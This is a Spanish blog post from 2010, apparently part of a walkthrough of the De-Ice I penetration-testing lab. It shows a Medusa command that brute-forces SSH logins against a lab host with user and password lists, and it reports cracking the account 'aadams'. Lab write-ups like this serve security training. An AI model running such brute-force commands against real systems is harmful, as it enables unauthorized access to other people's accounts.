Como podemos ver, existen varios servicios levantados y algunos de ellos están filtrados. Uno de los más interesantes, es el de SSH, ya que con los usuarios que hemos generado antes y con una herramienta adecuada como THC-Hydra o Medusa podemos intentar conseguir acceso. Así que esto es lo que vamos a hacer a continuación.

Yo en mi caso he utilizado Medusa, ya que inicialmente probé con THC-Hydra y me dio problemas de conexión, pero aún no he investigado el por qué. De todas formas, esto me sirve para ejemplificar porque razón hay que conocer más de una herramienta de cada tipo.

medusa -h 192.168.1.100 -U user.txt -P pass.txt -O salida.txt -M ssh

Donde –U es el listado de usuarios, -P un diccionario a vuestra elección, -O el fichero de salida con los resultados y –M el módulo de Medusa a utilizar.

Tras finalizar Medusa su trabajo, he conseguido encontrar un resultado correcto para el usuario aadams. Nos os voy a decir la contraseña para motivaros a probar vosotros. De todas formas si necesitáis alguna ayuda, preguntad y os puedo sugerir algún diccionario.

En la página del proyecto Sec-track (1), proponen utilizar una herramienta que se basa en smtp para buscar los usuarios válidos de forma más fácil. Yo no conocía la herramienta y me ha parecido muy curiosa, os recomiendo que le echéis un vistazo.

Bueno, pues hasta aquí ya tenemos acceso al sistema.

Seguimos en De-Ice I: Desarrollo práctico (III de III)

 
2 comentarios

Publicado por en 10 mayo, 2010 en prácticos